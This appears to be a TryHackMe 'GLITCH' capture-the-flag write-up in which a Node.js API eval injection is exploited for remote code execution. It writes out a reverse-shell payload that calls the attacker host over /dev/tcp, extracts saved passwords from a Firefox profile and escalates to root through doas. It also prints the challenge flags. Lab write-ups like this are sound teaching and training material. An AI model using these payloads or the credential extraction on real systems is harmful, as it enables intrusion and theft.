TryHackMe-GLITCH
Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
What is your access token?
Nmap only discovers 1 open port:
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: not allowed Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s browse the web service. An interesting script at the end of the page gives the path of an API:
kali@kali:/data/vpn$ curl -s http://10.10.16.166/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>not allowed</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { height: 100vh; width: 100%; background: url('img/glitch.jpg') no-repeat center center / cover; } </style> </head> <body> <script> function getAccess() { fetch('/api/access') .then((response) => response.json()) .then((response) => { console.log(response); }); } </script> </body> </html>
Browsing this URL provides us with a base64 encoded string that, once decoded, is the token:
kali@kali:/data/vpn$ curl -s http://10.10.16.166/api/access {"token":"dGhpc19pc19ub3RfcmVhbA=="} kali@kali:/data/vpn$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d this_is_not_real
Answer: this_is_not_real
What is the content of user.txt?
Hint: What other methods does the API accept?
After several rabbit holes (/robots.txt
, /secret
), I eventually decided to further enumerate the /api
directory:
kali@kali:/data/GLITCH$ gobuster dir -u http://10.10.16.166/api/ -x php,txt,bak,old,tar,zip -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.16.166/api/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: zip,php,txt,bak,old,tar [+] Timeout: 10s =============================================================== 2021/04/29 15:12:46 Starting gobuster =============================================================== /access (Status: 200) /items (Status: 200) =============================================================== 2021/04/29 15:16:05 Finished ===============================================================
We discovered another path:
kali@kali:/data/vpn$ curl http://10.10.16.166/api/items {"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
Now, the hint was referring to “other methods”. Let’s try with POST
:
kali@kali:/data/vpn$ curl -XPOST http://10.10.16.166/api/items {"message":"there_is_a_glitch_in_the_matrix"}
Interesting. There must be a missing parameter. Let’s fuzz it:
kali@kali:/data/vpn$ wfuzz -X POST -w /usr/share/wordlists/SecLists/Fuzzing/1-4_all_letters_a-z.txt --hh=45 http://10.10.16.166/api/items?FUZZ=oops /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.16.166/api/items?FUZZ=oops Total requests: 475254 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002370: 500 10 L 64 W 1081 Ch "cmd"
Indeed, our assumption was correct, and the URL takes a cmd
parameter.
Vulnerability
With this new statement, let’s try to inject a command:
kali@kali:/data/GLITCH/files$ curl -X POST http://10.10.16.166/api/items?cmd=id <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre> </body> </html>
This error is generated by nodejs
. below is the cleaned code:
ReferenceError: id is not defined at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1) at router.post (/var/web/routes/api.js:25:60) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at next (/var/web/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at /var/web/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12) at next (/var/web/node_modules/express/lib/router/index.js:275:10) at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)
Proof of concept
Let’s exploit (I found this resource useful: https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44):
kali@kali:/data/GLITCH/files$ curl -X POST "http://10.10.16.166/api/items?cmd=process.cwd()" vulnerability_exploited /var/web
Our injection was successful and we are provided with the current path.
Exploit and reverse shell
Use BurpSuite to send the following request:
POST /api/items?cmd=require("child_process").exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.8.50.72/4444+0>%261"') HTTP/1.1 Host: 10.10.16.166 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: token=value Upgrade-Insecure-Requests: 1 If-None-Match: W/"a9-0aR6bAfiK/DB+A79vs3kEEVvJNc"
We now have a reverse shell:
kali@kali:/data/GLITCH$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.16.166] 49964 bash: cannot set terminal process group (1353): Inappropriate ioctl for device bash: no job control in this shell user@ubuntu:/var/web$ id id uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
User flag
Let’s get the user flag
user@ubuntu:/var/web$ cd /home cd /home user@ubuntu:/home$ ls -la ls -la total 16 drwxr-xr-x 4 root root 4096 Jan 15 14:13 . drwxr-xr-x 24 root root 4096 Jan 27 10:32 .. drwxr-xr-x 8 user user 4096 Jan 27 10:33 user drwxr-xr-x 2 v0id v0id 4096 Jan 21 09:05 v0id user@ubuntu:/home$ cd user cd user user@ubuntu:~$ ls -la ls -la total 48 drwxr-xr-x 8 user user 4096 Jan 27 10:33 . drwxr-xr-x 4 root root 4096 Jan 15 14:13 .. lrwxrwxrwx 1 root root 9 Jan 21 09:05 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 13:41 .cache drwxrwxrwx 4 user user 4096 Jan 27 10:32 .firefox drwx------ 3 user user 4096 Jan 4 13:41 .gnupg drwxr-xr-x 270 user user 12288 Jan 4 14:07 .npm drwxrwxr-x 5 user user 4096 Apr 29 16:44 .pm2 drwx------ 2 user user 4096 Jan 21 08:47 .ssh -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt user@ubuntu:~$ cat user.txt cat user.txt THM{i_don't_know_why}
User flag: THM{i_don't_know_why}
What is the content of root.txt?
Hint: My friend says that sudo is bloat.
Lateral move
The enumeration of the /home
directory shows another user: v0id
. As we don’t have the password associated to the user
account we are currently using, it seems reasonable to move laterally to the other user.
Notice a .firefox
directory in the home directory of our user:
user@ubuntu:~$ ll ll total 52 drwxr-xr-x 9 user user 4096 Apr 29 18:14 ./ drwxr-xr-x 4 root root 4096 Jan 15 14:13 ../ lrwxrwxrwx 1 root root 9 Jan 21 09:05 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 13:41 .cache/ drwxr-x--- 3 user user 4096 Apr 29 17:58 .config/ drwxrwxrwx 4 user user 4096 Jan 27 10:32 .firefox/ <---------- interesting! drwx------ 4 user user 4096 Apr 29 17:58 .gnupg/ drwxr-xr-x 270 user user 12288 Jan 4 14:07 .npm/ drwxrwxr-x 5 user user 4096 Apr 29 16:44 .pm2/ drwx------ 2 user user 4096 Apr 29 17:41 .ssh/ -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt
Compress the folder and download the archive locally. Download firefox_decrypt and reveal v0id
’s password:
kali@kali:/data/src/firefox_decrypt$ python3 firefox_decrypt.py /data/GLITCH/files/.firefox/ Select the Mozilla profile you wish to decrypt 1 -> hknqkrn7.default 2 -> b5w4643p.default-release 2 Website: https://glitch.thm Username: 'v0id' Password: 'love_the_void'
We can now switch to v0id
:
user@ubuntu:/var/web$ su v0id su v0id Password: love_the_void v0id@ubuntu:/var/web$ id id uid=1001(v0id) gid=1001(v0id) groups=1001(v0id)
Privilege escalation
Unfortunately, the v0id
user is not allowed to run any program with sudo
.
v0id@ubuntu:/var/web$ sudo -l sudo -l [sudo] password for v0id: love_the_void Sorry, user v0id may not run sudo on ubuntu.
Searching for files owned by root with the SUID bit set reveals another interesting program though (doas
is working like sudo
):
v0id@ubuntu:~$ find / -type f -user root -perm -u=s 2>/dev/null find / -type f -user root -perm -u=s 2>/dev/null /bin/ping /bin/mount /bin/fusermount /bin/umount /bin/su /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/passwd /usr/bin/chfn /usr/bin/newuidmap /usr/bin/chsh /usr/bin/traceroute6.iputils /usr/bin/pkexec /usr/bin/newgidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/doas <---------------------- interesting!
Let’s check:
v0id@ubuntu:~$ doas -u root /bin/bash doas -u root /bin/bash Password: love_the_void root@ubuntu:/home/v0id# cd /root cd /root root@ubuntu:~# cat root.txt cat root.txt THM{diamonds_break_our_aching_minds}
Root flag: THM{diamonds_break_our_aching_minds}